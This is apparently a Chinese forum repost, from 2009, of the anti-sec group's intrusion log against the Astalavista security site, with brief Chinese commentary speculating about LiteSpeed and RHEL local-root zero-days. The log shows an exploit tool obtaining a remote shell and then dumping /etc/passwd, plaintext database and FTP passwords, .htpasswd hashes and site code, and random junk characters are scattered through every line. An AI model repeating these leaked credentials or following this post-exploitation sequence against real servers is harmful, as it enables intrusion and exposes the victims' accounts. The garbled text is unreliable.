里面两个亮点，一是远程获得apache用户权限的shell，banner是LiteSpeed，看来这玩意有0day，但是又怎么是用apache用户跑的，原来LiteSpeed这东西是和apache绑一起的，大概看了下介绍，主要功能是anti-ddos，这东西貌似还有点意思，回头玩玩。具体的看链接标记[url]http://www.litespeedtech.com/litespeed-web-server-features.html[/url]。! e2 z# d' X1 Q% |; c) t! Y
4 P; U) A, _( o! h
[root@front3 ~]# curl -I litespeedtech.com* }7 f7 h6 S7 f; y5 Y5 t
HTTP/1.1 200 OK( n5 q' P4 E) }# S) E0 Z
Date: Fri, 05 Jun 2009 22:54:51 GMT
- c( G, j1 p0 K/ L8 AServer: LiteSpeed- ^: [+ k: s# z
2 Y1 O+ q* I4 ?* U1 A% Q另外一个亮点就是localroot了，如果不是udev的话，那么就是RHEL5.3 x64还有一个localroot 0day -_-
3 E% t- i* J* q0 Z* K; F7 p
( u" Q; h; ~2 t( f1 q/ l1 T/ F有人说astalavista被黑是因为Y拿milw0rm的东西赚钱，这个我觉得就是每个人的尺度问题，有人还把别人写的文章弄成自己写的，还有人把别人的程序改成自己的，多了去了。3 |) ~+ y3 ?7 ]) ?/ W5 A
4 t" O8 K4 d# |8 m( t7 J/ H3 L H# C# n; M! {$ v/ n2 l0 U
/ _ \ / _____/\__ ___/ _ \ | | / _ \ \ / /| |/ _____/\__ ___/ _ \
7 k9 t: i; Z8 b( n/ /_\ \ \_____ \ | | / /_\ \| | / /_\ \ Y / | |\_____ \ | | / /_\ \
1 Q4 t! t ?* _/ | \/ \ | |/ | \ |___/ | \ / | |/ \ | |/ | \% f; a; Q, g- |+ F* y+ W" X" ^
\____|__ /_______ / |____|\____|__ /_______ \____|__ /\___/ |___/_______ / |____|\____|__ /
1 w* J: J7 b- C9 l4 c \/ \/ \/ \/ \/ \/ \/
4 l$ |8 b8 P8 \$ J The Hacking & Security Community2 N( Y, W8 B! A
[+] Founded in 1997 by a hacker computer enthusiast
- U, N3 i/ l5 s; M' `% a[-] Exposed in 2009 by anti-sec group
$ F+ a9 B/ s$ X5 Z, e3 f5 e) I
7 v0 p' ?$ t7 K1 Z; T, [" x k5 [From < <b style=”color:black;background-color:#ffff66″>http</b>://<b style=”color:black;background-color:#ffff66″>astalavista</b>.<b style=”color:black;background-color:#ffff66″>com</b>/faq>:
# o: V0 \9 A/ Y>> 03. Who’s behind the site?
9 l0 I9 ~( w! y2 H% d% n/ s) E8 V" m>>. w( F/ [+ w8 m; Y- H4 ~/ c8 \" F
>> A team of security and IT professionals, and a countless number of contributors from all over the world.( |. o4 l9 b/ ^* p7 i
% V2 i: I) X, A' P7 C. G! i
>> 05. Is it true that the site is visited by script-kiddies and warez fans only?
8 c+ b# @6 n/ @. r1 d, T>>$ H- }$ `" V: ], ~; i, f
>> Absolutely not! The audience behind the site consists of home users, worldwide companies and corporations, educational and non-profit organizations, government and
' r# F3 p1 R3 A, Mmilitary institutions.) V+ ?$ @3 b6 H9 M
>> All of these have been visiting the site on a daily basis for the past couple of years, contributing in various ways, or requesting services and information.: ^ N: q# ]; i2 }. L* B! ~/ @
2 P" ?: G! U* y' S1 ?- C
Why has Astalavista been targeted?
3 {# S# m$ T) A, W* D8 Y) D5 w4 D+ L% E7 |( q& S y
Other than the fact that they are not doing any of this for the “community” but
7 q8 F. s5 m* ^for the money, they spread exploits for kids, claim to be a security community
' N9 h9 P- D% @7 C8 n0 w/ O" s/ j(with no real sense of security on their own servers), and they charge you $6.66) W/ P' H- U, N6 q
per months to access a dead forum with a directory filled with public releases
4 d+ {" j2 g; f0 }and outdated / broken services.# G5 Z0 T: y4 E
d8 r. G% S. _ `We wanted to see how good that “team of security and IT professionals” really is.( T$ N) @# W$ x
2 N5 Y, [* Y8 ^) e: |Let’s begin.
; Q: ^, n1 R: t$ V' A: ?
( B5 e/ N% ]2 _3 {anti-sec:~# ./g0tshell astalavista.com -p 80
?. K2 X+ P! s; ?" R5 R[+] Connecting to astalavista.com:80
# R0 I8 v* w8 _+ h8 D1 w& l[+] Grabbing banner…1 v! i! l9 A! f" ~, D
LiteSpeed! l% h: }8 |* B; _: t
[+] Injecting shellcode…
) [% L$ f) r+ o- g2 s+ P7 k[-] Wait for it
; ~1 A* S, N% J4 {% j: L
, q1 R( Z2 e2 ^" p! Y[~] We g0tshell
2 C- [+ p2 I" W4 d4 B' g# yuname -a: Linux asta1.astalavistaserver.com 2.6.18-128.1.10.el5 #1 SMP Thu May 7 10:35:59 EDT 2009 x86_64 x86_64 x86_64 GNU/Linux7 b# _* L7 n: S
ID: uid=100(apache) gid=500(apache) groups=500(apache)
% R9 `3 d. S, A/ R+ L
+ K- i$ `) b3 X+ Ush-3.2$ cat /etc/passwd. w( x% q6 d7 H( X/ T
root:x:0:0:root:/root:/bin/bash
4 m3 h" P0 m! cbin:x:1:1:bin:/bin:/sbin/nologin8 [3 r7 T6 Z+ N* o! P1 |
daemon:x:2:2:daemon:/sbin:/sbin/nologin
: i0 Z: [4 B, t' T. Q/ o$ Ladm:x:3:4:adm:/var/adm:/sbin/nologin K+ m5 k5 R* ]) _# _" B, @( i
lp:x:4:7:lp:/var/spool/lpd:/sbin/nologin8 ^/ y# P; z$ S/ B
sync:x:5:0:sync:/sbin:/bin/sync* ]+ G3 O. C$ Q: ~3 M' } `8 i
shutdown:x:6:0:shutdown:/sbin:/sbin/shutdown, k5 k- s1 `- {
halt:x:7:0:halt:/sbin:/sbin/halt
: O7 A! i5 a) k3 R* kmail:x:8:12:mail:/var/spool/mail:/sbin/nologin
7 _" D- d- q! R/ |" g$ h0 c- n" Knews:x:9:13:news:/etc/news:
5 ^( ^0 z- [, x) huucp:x:10:14:uucp:/var/spool/uucp:/sbin/nologin- B; y$ j3 K' P: o
operator:x:11:0 perator:/root:/sbin/nologin
0 o1 c4 M# H* i% G" hgames:x:12:100:games:/usr/games:/sbin/nologin- D# x0 n9 p! S i# r9 m
gopher:x:13:30:gopher:/var/gopher:/sbin/nologin# r: ]6 p P0 O. y/ _
ftp:x:14:50:FTP User:/var/ftp:/sbin/nologin
# E/ G8 y7 Y$ ynobody:x:99:99:Nobody:/:/sbin/nologin4 w* s- y$ k" I: ^1 c9 O+ A
rpm:x:37:37::/var/lib/rpm:/sbin/nologin: e' _4 p4 R- ^0 ?! s% z
dbus:x:81:81:System message bus:/:/sbin/nologin1 \* O% x$ |- W7 \; {+ B
nscd:x:28:28:NSCD Daemon:/:/sbin/nologin l: m1 S# Z4 Z; f( N$ M6 g
mailnull:x:47:47::/var/spool/mqueue:/sbin/nologin* d4 G9 E) K0 N
smmsp:x:51:51::/var/spool/mqueue:/sbin/nologin0 v: }; O" s( O$ x' W' {
vcsa:x:69:69:virtual console memory owner:/dev:/sbin/nologin- ~, V1 o5 |+ }! V8 t, P
haldaemon:x:68:68:HAL daemon:/:/sbin/nologin
" z1 ^3 s! d6 U5 F7 M7 M5 Srpc:x:32:32 ortmapper RPC user:/:/sbin/nologin% j' u5 P) v9 w4 z6 j) x
rpcuser:x:29:29:RPC Service User:/var/lib/nfs:/sbin/nologin
$ }" C, j3 I% i, a3 k* S6 @4 S5 p% Enfsnobody:x:4294967294:4294967294:Anonymous NFS User:/var/lib/nfs:/sbin/nologin
6 F2 l" H P2 C& tsshd:x:74:74rivilege-separated SSH:/var/empty/sshd:/sbin/nologin
& n2 R9 }% E/ K4 {3 L. w8 opcap:x:77:77::/var/arpwatch:/sbin/nologin
& J _6 |7 c: P$ y2 h5 ], Knamed:x:25:25:Named:/var/named:/sbin/nologin
2 U) K7 m3 Z! ~: i2 }+ r- \4 qapache:x:100:500::/var/www:/bin/false5 L0 \, [5 o2 c+ t6 M3 U7 P
diradmin:x:101:101::/usr/local/directadmin:/bin/bash
" H) D4 I' k3 B4 hmysql:x:102:102:MySQL server:/var/lib/mysql:/bin/bash$ k; {- e# [$ {3 n7 y3 x# j2 Q7 g
webapps:x:500:501::/var/www/html:/bin/bash O: F# z8 Y* u! S& V s
majordomo:x:103:2::/etc/virtual/majordomo:/bin/bash
7 L( m2 d1 |6 x5 l6 K# h+ K; }) fadmin:x:501:502::/home/admin:/bin/bash8 F* O8 V; O0 t% w& m
jon:x:502:503::/home/jon:/bin/bash* b0 N4 [! U& a o' O* o7 L
com:x:503:504::/home/com:/bin/bash, u6 R# I# H; m* q4 l3 e
ntp:x:38:38::/etc/ntp:/sbin/nologin
, H& k7 A1 E" L/ A) u0 G+ ~ais:x:39:39penais Standards Based Cluster Framework:/:/sbin/nologin
) M- ]4 \( ^! [1 g6 Nastanet:x:504:505::/home/astanet:/bin/bash' }* D3 d* [ `& G/ l& ~
avahi:x:70:70:Avahi daemon:/:/sbin/nologin
# ^5 a0 p, y" `0 @- Favahi-autoipd:x:104:103:avahi-autoipd:/var/lib/avahi-autoipd:/sbin/nologin
- d7 {* n" @& V- ]) ~2 P# q7 s9 k0 G( V
sh-3.2$ cat /etc/hosts
% x b. _0 ~4 N E/ p6 _# Do not remove the following line, or various programs+ a/ w1 ~! n& _% S
# that require network functionality will fail.
0 O* ]( l, x: s% H* W0 r- Y3 G7 s+ t127.0.0.1 localhost.localdomain localhost
: ~# |( w4 M9 g5 p% V::1 localhost6.localdomain6 localhost6' e$ C* T1 U7 C6 \1 C
80.74.154.172 asta1.astalavistaserver.com% g B6 b4 `" O' B5 G1 P4 w- c
3 z+ m! I& c' H0 F6 |" X6 f1 @sh-3.2$ pwd
) n, c4 v/ n8 K' b5 `0 l' Y# ~/home/com/public_html7 M. o3 A, ^, k, W* \6 I
2 [* I% v' ]( q; e5 \
sh-3.2$ ls -la# E5 u. Y& \9 E* }' U5 \
total 18460- b! c5 Q0 H0 e! M, k0 Z( K
drwxr-xr-x 30 com apache 4096 May 28 17:06 ." U# |' b# T" n4 D! e
drwx–x–x 11 com com 4096 Jun 25 2008 ..
4 g, r) r2 ]9 L$ q# T) q/ K- @drwxr-xr-x 2 com com 4096 Feb 2 19:29 admin* u) l& t# A9 |( b5 S2 [! w
drwxrwxrwx 2 com com 18591744 Jun 4 08:04 cache
9 K6 m4 f0 |# P0 o* _drwxr-xr-x 6 com com 4096 Mar 28 21:17 cadmin
: T* g2 V/ u4 C* S Cdrwxrwxrwx 2 com com 4096 May 19 00:50 config2 x. D9 _( v! P z+ w+ d& x
drwxr-xr-x 2 com com 4096 Mar 20 11:05 core4 |3 z; M) b% O* g4 t7 G; {; m
drwxr-xr-x 18 com com 4096 Feb 2 19:29 core_modules$ t% L. C& L% {: f% Y* w- d
drwxr-xr-x 4 com com 4096 Feb 2 19:29 customizing, d- @1 T) P5 o4 q' w2 }, ?+ x k
drwxr-xr-x 2 com com 4096 May 11 13:24 customizing_paulo1 f+ d4 ]% D* y- ^( i8 \7 k2 B
drwxr-xr-x 6 com com 4096 Mar 30 12:28 __DELETE__
7 k3 s7 I0 d7 N# |9 o, h-rw-r–r– 1 com com 8035 May 19 14:26 directory_to_mediadir.php. V( O2 {# G+ a5 z% J
drwxr-xr-x 2 com com 4096 Sep 9 2008 dvd k# \4 _4 e: H7 k
drwxr-xr-x 3 com com 4096 Feb 2 19:29 editor6 Z) e' @+ e2 k& j% H
-rw-r–r– 1 com com 3750 Feb 27 16:12 favicon.ico5 V. l1 z2 k W& y& a- h
drwxrwxrwx 2 com com 4096 Jun 4 08:00 feed$ ?8 J% _5 T; V( l
-rwxrwxrwx 1 com com 10736 May 29 12:44 .htaccess
, Z# {) {/ N+ p0 @-rw-r–r– 1 com com 7638 Apr 21 08:45 .htaccess.2009-04-21.bak9 {; Z0 Z/ p7 O$ `4 X
-rw-r–r– 1 com com 10768 May 11 11:53 .htaccess.2009-05-11.bak
% F, M L7 a- K' mdrwxr-xr-x 18 com com 4096 Apr 9 2008 ideapool. d$ O3 b4 d. y, F9 j* ~/ }
drwxrwxrwx 14 com com 4096 Feb 2 19:29 images- V+ E( u, g# A9 V3 g6 @' {$ v2 m* b- a
-rw-r–r– 1 com com 97496 Jun 2 13:01 index.php
7 h1 H+ d! B( g/ _3 h; O2 m+ Zdrwxr-xr-x 6 com com 4096 Feb 2 19:29 installer$ U* N+ Y7 W: l7 x0 Z. x
drwxr-xr-x 8 com com 4096 Feb 2 19:29 lang
+ B+ Y. n0 m0 ?( Odrwxr-xr-x 22 com com 4096 Feb 2 19:29 lib/ O" a) B# J5 {
drwxrwxrwx 12 com com 4096 Jun 2 07:47 media
+ x, K, T6 w8 M8 sdrwxr-xr-x 8 com com 4096 May 11 12:48 modifications& D6 I5 g$ ^( j m' F1 ~) ~- @
drwxr-xr-x 34 com com 4096 May 28 16:30 modules
0 E% i1 e0 W7 k1 v; G8 u3 f9 Ldrwxr-xr-x 11 com com 4096 Jan 30 15:00 _myAdmin( o& d- K+ a# s, x7 W
drwxrwxr-x 22 com com 4096 May 28 17:06 _new
$ f- I& X# b9 a7 w1 m. z9 Z& `; C' Idrwxr-xr-x 26 com com 4096 Feb 2 19:27 _old
4 ~: {. N) |# u' x4 Bdrwxr-xr-x 2 com com 4096 Mar 30 12:29 phproxy
* d7 r2 @, Y9 K! G' wdrwxr-xr-x 2 com com 4096 Mar 30 12:30 proxy; R$ b' j% L% z8 H5 {
-rw-r–r– 1 com com 26 Feb 2 19:33 robots.txt
7 p3 J: X5 _7 \: ~-rwxrwxrwx 1 com com 10844 Jun 2 09:50 sitemap.xml
) r/ y8 ^, }6 J-rw-r–r– 1 com com 223 Mar 30 15:32 test.php6 O1 Z" w! l% w t- h
drwxrwxrwx 8 com com 4096 Mar 6 13:15 themes2 [0 m: o8 X& w, Q1 y4 e5 }
drwxrwxrwx 3 com com 4096 Jun 4 08:00 tmp
) d3 k( H! R4 V! c. j, Vdrwxr-xr-x 3 com com 4096 Feb 2 19:33 webcam8 g' D' E4 M8 g! [; @2 j! ~
5 W* a) v# M9 i% I7 O" Z
sh-3.2$ head -20 index.php1 U' b9 M+ L" I. A
<?php( T/ Y0 V7 L0 v+ x9 s, d
* v( o$ N0 R1 h$ s/*** K* a9 H% g9 \& k; |4 g
* The main page for the CMS4 W3 Y) U4 \- N4 M" V6 j' E
* @copyright CONTREXX CMS - COMVATION AG$ s3 M; a8 m5 m/ `2 R f! \
* @author Comvation Development Team4 |5 v# i {: ?/ t/ [* e; U
* @version v1.0.9.10.1 stable' d6 H8 f. N+ K" A
* @package contrexx7 C0 B6 f; f- |$ u, J) `; [
* @subpackage core: V0 J/ p0 H4 G3 U$ U* G
* @link 链接标记[url]http://www.contrexx.com/[/url] contrexx homepage
# E q5 M8 U7 @. H% f* @since v0.0.0.0
$ m0 J; |' B7 b* @todo Capitalize all class names in project! K9 H3 P) I" s- s
* @uses /config/configuration.php4 j6 X5 C3 ~! a- T! W
* @uses /config/settings.php! |. b3 k9 O5 [* Z( X
* @uses /config/version.php
8 a5 p' h& b4 e0 ?! f9 Z* @uses /core/API.php
6 z/ f5 K9 Q) V" b3 K* @uses /core_modules/cache/index.class.php
/ s( K) g* F1 h* B* @uses /core/error.class.php2 ?! H) `0 x5 }- ~
* @uses /core_modules/banner/index.class.php
- \# g$ D; C( r7 e( v3 w3 k$ y! j* @uses /core_modules/contact/index.class.php
* J( f6 ?/ e3 s, Z4 \9 h4 g" U/ l. ^( G9 y9 ]
sh-3.2$ cd config/
4 |" P1 Y0 d* p9 I& v Ash-3.2$ ls -la5 ^% _4 M6 z; J, C/ E" k s
total 32! r% C9 P# s" S! R8 f+ G
drwxrwxrwx 2 com com 4096 May 19 00:50 .# X5 x4 z8 f* B8 t3 u
drwxr-xr-x 30 com apache 4096 May 28 17:06 ..
0 w7 L& G3 `$ x9 y& J/ T6 c9 s6 ?0 c-rwxrwxrwx 1 com com 2998 May 11 12:29 configuration.php1 ] h" J+ f T4 J( O
-rwxrwxrwx 1 com com 7610 May 28 17:27 set_constants.php# P! V6 ?1 K; M( L5 ]7 d' \- u
-rwxrwxrwx 1 com com 4186 May 25 12:54 settings.php' C9 r2 v( l: T% D8 w
-rwxrwxrwx 1 com com 672 Feb 2 19:29 version.php3 z" i1 g0 J; l
3 Z+ S& K. D6 v2 `( Nsh-3.2$ cat configuration.php
% ^+ b# O' X, d[snip]6 r" W) m; B( d+ e* Y
$_DBCONFIG['host'] = ‘localhost’; // This is normally set to localhost
+ D2 o C1 _3 T2 c+ i2 A# c$_DBCONFIG['database'] = ‘com_contrexx2_live’; // Database name
+ U- i2 C# u+ M$ |) }0 d$_DBCONFIG['tablePrefix'] = ‘contrexx_’; // Database table prefix& m9 B* ^. B* t" B: S" p
$_DBCONFIG['user'] = ‘contrexxuser2′; // Database username9 Q T# Y) Z& l" r9 f. {
$_DBCONFIG['password'] = ‘0fEYNZgXz1pKe’; // Database password2 c! r# {7 ]; e5 o8 ~+ q
$_DBCONFIG['dbType'] = ‘mysql’; // Database type (e.g. mysql,postgres ..), w N5 X5 {- X+ E* u. h
$_DBCONFIG['charset'] = ‘utf8′; // Charset (default, latin1, utf8, ..)# J) `# P: C+ S: P) O3 R
[snip]0 c9 j Y5 o. H+ M# V( [$ p
$_FTPCONFIG['is_activated'] = true; // Ftp support true or false
3 Z' E t2 Q+ V6 j$_FTPCONFIG['use_passive'] = true; // Use passive ftp mode- R* u1 O, Z, i+ q, D; |
$_FTPCONFIG['host'] = ‘localhost’;// This is normally set to localhost
% v* m5 i# a" T$_FTPCONFIG['port'] = 21; // Ftp remote port4 O& i6 ] V; R2 c2 O& ~7 l' W: m* \
$_FTPCONFIG['username'] = ‘链接标记dev@astalavista.com’; // Ftp login username- U x7 `( J) P s) ~( F
$_FTPCONFIG['password'] = ‘jajklop0Iuj’; // Ftp login password0 Q5 F8 u: u6 g! Z2 a1 R7 Y3 U- X
$_FTPCONFIG['path'] = ‘/’; // Ftp path to cms
, q P' P' i, e! V4 n- D* B. W0 E/ W2 E, u3 _
sh-3.2$ cd ..' Z9 N1 e0 F9 O8 r* q- e
sh-3.2$ cd dvd/1 s1 x" n# B( Z$ V- G! ~7 e: E
sh-3.2$ ls -la, d+ s) a% l: `+ G1 Z
total 2913780; i Y% j" Q8 K8 ]
drwxr-xr-x 2 com com 4096 Sep 9 2008 .. L7 m I" v0 P/ L3 ~
drwxr-xr-x 30 com apache 4096 May 28 17:06 ..3 l3 ^. ?3 Q0 _' f7 ~
-rw-r–r– 1 com com 1050061483 May 16 2008 astalavista_security_toolbox_dvd_2008.part1.rar* p% a( J L/ L8 j* S" O
-rw-r–r– 1 com com 1050061483 May 16 2008 astalavista_security_toolbox_dvd_2008.part2.rar# e/ D( R- o$ N; A7 j' y# m- _
-rw-r–r– 1 com com 880644069 May 16 2008 astalavista_security_toolbox_dvd_2008.part3.rar0 T/ ~* I \) U; s' b5 a- z6 [
-rw-r–r– 1 com com 115 Jan 29 2008 .htaccess! E7 [- M0 o/ M
) M) S) O( P. t3 c
sh-3.2$ cat .htaccess8 h' p& t1 P5 k" f8 J) I
authType Basic
" r6 B& b" M9 g# k0 s) A( H. fauthName DVD
# y* C. Z4 b7 DauthUserFile /home/com/domains/astalavista.com/.htpasswd/.htadm_pwd
; V# B; t& U" N% p) p% I# Urequire valid-user, }# p/ x2 x, ], ?) _: n. w8 I
$ U' k( ^4 B7 ^# p5 e+ k% hsh-3.2$ cat /home/com/domains/astalavista.com/.htpasswd/.htadm_pwd, D9 W. Z. R+ w( G A) v1 A% \* b- B
DVDdownload:CRD8cuY6.MPT62 }" \$ J$ \* {2 V
DVDdownload2:CR8a36.wluFMg1 a y- r# a3 O5 ]& ^
/ I3 @2 p: K! b2 e
sh-3.2$ cat test.php: W u! b/ S0 r% ]' v% ?$ K; i9 |
<?php
! a4 W8 e2 C7 T5 ?& D) b0 ?6 F% X$url = ‘aHR0cDovL2kubnVzZWVrLmNvbS9pbWFnZXMvdGVtcGxhdGUvMzYweDMxOC9pc3QyXzc0Njc4MV9mZW1hbGVfc3R1ZGVudC5qcGc%3D’;
8 l9 H3 i7 L# W, m6 s& R$url = str_replace(array(’&’, ‘&’), ‘&’, base64_decode(rawurldecode($url)));
& f1 O1 r; U. ^2 I4 l& d5 iecho $url;$ N/ O- K; t; c, {# j( f
?>
- Z/ S4 J3 r9 F" t6 M6 b, b) g" c
+ ~2 ?! S7 N6 p0 ush-3.2$ cd modifications/
* ?. f6 y) z5 o- Z' A/ H4 S# Wsh-3.2$ ls -la
, ?! H. S% P( F+ `& utotal 32! z) v% C3 R @
drwxr-xr-x 8 com com 4096 May 11 12:48 .
% h# y0 X$ H% f' B9 L* j+ M! hdrwxr-xr-x 30 com apache 4096 May 28 17:06 ..* I' x1 J5 U- X0 R1 `+ H4 i
drwxr-xr-x 3 com com 4096 Feb 2 19:33 com_avtng
3 h0 U. T' ` p0 i. Ydrwxr-xr-x 3 com com 4096 May 12 09:26 cronjobs. L2 _- V; }. N/ v6 ~* W
drwxr-xr-x 2 com com 4096 Mar 2 10:35 onlinetools
; E2 `, J; R- o& q7 edrwxr-xr-x 4 com com 4096 Feb 2 19:33 pjirc# S# C; N" U4 m1 y% L( X9 n6 D
drwxr-xr-x 2 com com 4096 Feb 2 19:33 search
( L5 i; o7 d6 \( H) I( S0 }drwxr-xr-x 2 com com 4096 Mar 25 08:56 _tmp
/ r) Q! F& b: f& o2 B I; T3 W* Q5 r# ?. G( @$ ?% p9 f
sh-3.2$ ls -R
$ | }+ y( E$ d( J$ U.:
, e# w/ C4 C, ucom_avtng cronjobs onlinetools pjirc search _tmp
2 H4 D% R$ C3 r! o) H( R: Q1 B. C8 Q1 t1 H
./com_avtng:
7 z" R' M7 M9 }0 oavtng.php banner_bottom.inc.php banner_button.inc.php banner_content.inc.php banner_popunder.inc.php banner_right.inc.php banner_top.inc.php iframe.php scripts# K ^- E' `, [2 g
- q# T# s% \: v: E3 M+ F2 {4 Q
./com_avtng/scripts:2 e; T3 I( I @+ e; w0 M7 |
popunder.js
- v. Z) I2 t# x; e* f6 f* [4 ^" G1 T- P6 n' V
./cronjobs:9 V$ B& C) O/ ^5 V4 J( |, P+ O
exploits.php exploits.sh google_blogindexing.php ip2country.sh proxydb2.php proxydb.php securitynews.php tmp
) h' _. f5 l% T/ m! _; v4 n
) a/ H0 _9 v* u./cronjobs/tmp:
- U4 _) c- l( {" f7 Q, gcontrexx_module_onlinetools_defaultports.csv contrexx_module_onlinetools_geolitecity_country.csv' C$ W2 O- X* c$ m/ k- I1 C
2 k. W! p% s' m$ L! k0 F./onlinetools:6 R5 l' M. `2 `! c, k [
index.php+ ], o- g4 j. @; Y: Z0 ^
% b7 h$ s% D6 x- x& B
./pjirc:! k. F" U1 ] D# R/ I
a_big.jpg english.lng img irc.jar NormalApplet.html pixx-french.lng pjirc.cfg securedirc-unsigned.cab thanks.txt8 y. @6 W4 \$ ]
AppletWithJS.html french.lng IRCApplet.class irc-unsigned.jar pixx.cab pixx.jar readme.txt SimpleApplet.html versions.txt
0 o6 u+ E8 `+ [8 L) U$ v) `2 q7 gbackground.gif HeavyApplet.html irc.cab license.txt pixx-english.lng pixx-readme.txt securedirc.cab snd6 l1 x7 z1 G- A
: F2 U0 J' [# F8 k. r; g+ t/ w
./pjirc/img:& Y; I" L6 o0 K3 G) ]
ange.gif bombe.gif clin-oeuil.gif content.gif enerve2.gif garcon.gif langue.gif mecontent.gif ordi.gif portable.gif sapin.gif triste.gif* V7 z$ u1 ?9 Z" Y$ {
arbre.gif bouche.gif clin-oeuil-langue.gif cool.gif femme.gif grognon.gif lettre.gif newbie.gif pere-noel.gif pouce-non.gif sleep.gif
1 Q' q9 Z2 k a$ Z( Wverre-eau.gif
; O3 E5 ~* z6 l$ x, margh.gif bouqin.gif coeur-brise.gif diable.gif fille.gif halloween.gif lit.gif OH-1.gif pleure.gif pouce-oui.gif soleil.gif
5 n2 ?; B% t$ u2 ?/ Y8 k& Sverre-vin.gif3 `! b. Z$ |! W5 I7 d
ballon.gif cadeau.gif coeur.gif dwchat.gif fleur.gif hamburger.gif love.gif OH-2.gif poisson.gif roll-eyes.gif sourire.gif yinyang.gif$ B+ ?# }3 k, `8 j( `
biere.gif chien.gif comprends-pas.gif enerve1.gif fume.gif homme.gif lune.gif OH-3.gif pomme.gif rouge.gif terre.gif
' \* a0 P* D6 N/ Y& W# |8 b5 |7 ?: x. j! o. E* J
./pjirc/snd:) i N" D2 g) a0 A: A$ l1 z, C
bell2.au ding.au
& W3 }+ y, P4 ]) l. q" Q7 h4 b4 a
! I6 x& Y) h6 a& e, ?( \" |- w./search:2 f- q$ Z7 |8 s4 |
searchEngines.php search.php$ c# W! b: F: |" J1 u3 ]$ u
1 G9 ? P. v' O/ e& c K
./_tmp:
- A7 l S4 |- V7 BdefaultPorts.php defaultPorts.txt3 n8 X a2 e4 a- t* w
; @0 |& Q4 j4 S- e3 z
sh-3.2$ cd cronjobs/
c5 ?- T- f- Bsh-3.2$ cat exploits.php g% s8 k' f) H' V7 d0 f5 ]6 U
[snip]
( ~1 y: ?$ y$ V5 A( X$ Z# } O8 A$categories = array();/ i+ d( [$ }* A% \/ ~ G& J. y# U- A6 P
$milw0rmFile = FULLPATH . ‘/modifications/cronjobs/tmp/milw0rm/sploitlist.txt’;
. f3 u( x; V4 c0 G9 J H& B8 q7 \$expolits = file($milw0rmFile);. o- w- \, T9 Q# M2 k' a! c7 a/ k
$comExploits = array();* \% x. t% e3 L; s. L4 t8 y
[snip]
, @! i: j4 k4 ^5 H- Z// manage data
: ?. U1 U+ W; g7 t( ~- q5 [for ($x = 0; $x < count($expolits); $x++){ // count($expolits) - 2640
# c. C) ~1 L$ a+ R+ H# J( C0 a- K1 Z h, Q0 {+ n' O" A* U. N9 {
// get path and title
4 G7 ~+ `% ~# \ ~4 |. D9 p $expolits[$x] = trim($expolits[$x]);
1 s) v. E2 R# k" V3 \ $path = str_replace(’./’, FULLPATH . ‘/modifications/cronjobs/tmp/milw0rm/’, substr($expolits[$x], 0, strpos($expolits[$x], ‘ ‘)));
. F4 c, o$ F% T9 h3 H $title = htmlspecialchars(substr($expolits[$x], strpos($expolits[$x], ‘ ‘) + 1, strlen($expolits[$x])), ENT_QUOTES);
" ]9 |# x' @ h0 G; M( X6 B
w8 c4 K. f& D$ r3 c' L& ] // check if file exists% `# v0 [+ H2 J2 E- v) }
if (file_exists($path)) {3 e4 W* ~5 N6 y9 J4 ^4 q3 t( U
/ L! G, `. v8 F4 f% ?- b
$text = file_get_contents($path);" f7 @0 {: X* \& H
+ S' W: {2 R: b' j2 p1 o9 A& W // get content and date
7 R6 h+ k3 a: k& [5 t, d4 { //$text = htmlspecialchars($text, ENT_QUOTES);7 c+ K, k2 `: z8 ?! B) v6 z
$tmptext = addslashes(htmlentities($text, ENT_QUOTES, “UTF-8″));
& F% f- G7 H3 N. y if ($tmptext != ”) {
8 F. X" m! B a( m+ X" h4 o9 \ $text = $tmptext;
! Z! w& X) t+ j( b1 O } else {
8 D2 T# M$ w3 }' C x9 n7 W $text = addslashes(htmlentities($text, ENT_QUOTES));) X7 K u& _3 M5 R. f
}+ ~& A! E2 ^. I' ~& m
$date = str_replace(’milw0rm.com [', '', str_replace(']‘, ”, strstr($text, ‘milw0rm.com [')));) {6 R M! B& z
$tmp = explode('-', $date);: D2 D9 e8 H& D8 ^( j: A
$date = mktime(0, 0, 0, trim($tmp[1]), trim($tmp[2]), trim($tmp[0]));! U/ [- y8 U, d( |' m
$cat = getCategory ($path);( S4 u8 }% p Y" ~9 I: }9 o
$ext = pathinfo(basename($path));
1 C$ S5 y- x6 z/ K# u7 Q $ext = $ext['extension'];
) h N. k: U9 s' R: V $qStr = ”
* ~% M5 S1 w" u5 Y* Y1 G' J: o SELECT `id`
; l+ I8 v, ^* L! x7 ~1 D FROM `contrexx_module_exploits`
7 G9 F' v% m* N# |$ O9 x, V WHERE `title` = ‘” . $title . “‘4 x$ Z0 N2 H% j0 S
AND `date` = ‘” . $date . “‘1 f; D2 F0 {/ f( k, y
“;
5 ^0 [% D7 j3 b1 e echo $x + 1 . ‘ von ‘ . count($expolits) . ‘ -> ‘ . $qStr . “\n”;% i) h/ H2 x2 M4 q9 d# U
$q = $_objDB->query($qStr);: B% _8 |' w. `
4 C( N: B4 v$ }' T9 c" Y7 b8 ?. a if ($q->numRows() == 0) {
& l4 b+ ]1 m8 q
( p5 V1 }- w7 m- m# V' @! ~/ A // prepare array
' u6 B% |% M: ?6 J4 C! ^ $comExploits[$x]['date'] = $date;" _: D; Q& V9 S3 B
$comExploits[$x]['title'] = $title;
K! p# }: |! S5 a. G; W2 q$ l $comExploits[$x]['author'] = ‘milw0rm’;$ h# T; v, z. W" i! V* |# x* `
$comExploits[$x]['text'] = $text;
& V9 C" s) U i $comExploits[$x]['source'] = $ext;+ ]6 a% G1 z1 P( U
$comExploits[$x]['url1'] = ”;, P) S/ o% f: z' r& h' V* l
$comExploits[$x]['url2'] = ”;
% x0 M- \* g9 o3 {5 {! D9 z2 B& f3 P $comExploits[$x]['catid'] = $cat;
: G% t& t0 V( w1 Q/ F4 B $comExploits[$x]['lang'] = ‘2′;! m; m/ I2 o2 q
$comExploits[$x]['userid'] = ‘12′;
/ b y/ d$ @2 I) u $comExploits[$x]['startdate'] = ‘0000-00-00′;1 Y% S/ H/ ~1 `+ K. a" ~
$comExploits[$x]['enddate'] = ‘0000-00-00′;* v* Q8 m1 @3 V# g1 q# \, G
$comExploits[$x]['status'] = ‘1′;
4 n3 h9 {9 B' ?+ L4 j $comExploits[$x]['changelog'] = $date;% k4 Q4 y2 K5 e- K" W5 v
& V) B, [' H' X* d, G: a# a9 y8 V3 ] }5 V3 V$ H+ M' d( `% N
[snip]( k) W& \0 e& e
$xml = ‘<?xml version=”1.0″ encoding=”UTF-8″?>
' X, u- O6 x, h( [0 Q<rss version=”2.0″>
2 S$ u- I( S8 {7 J2 t <channel>
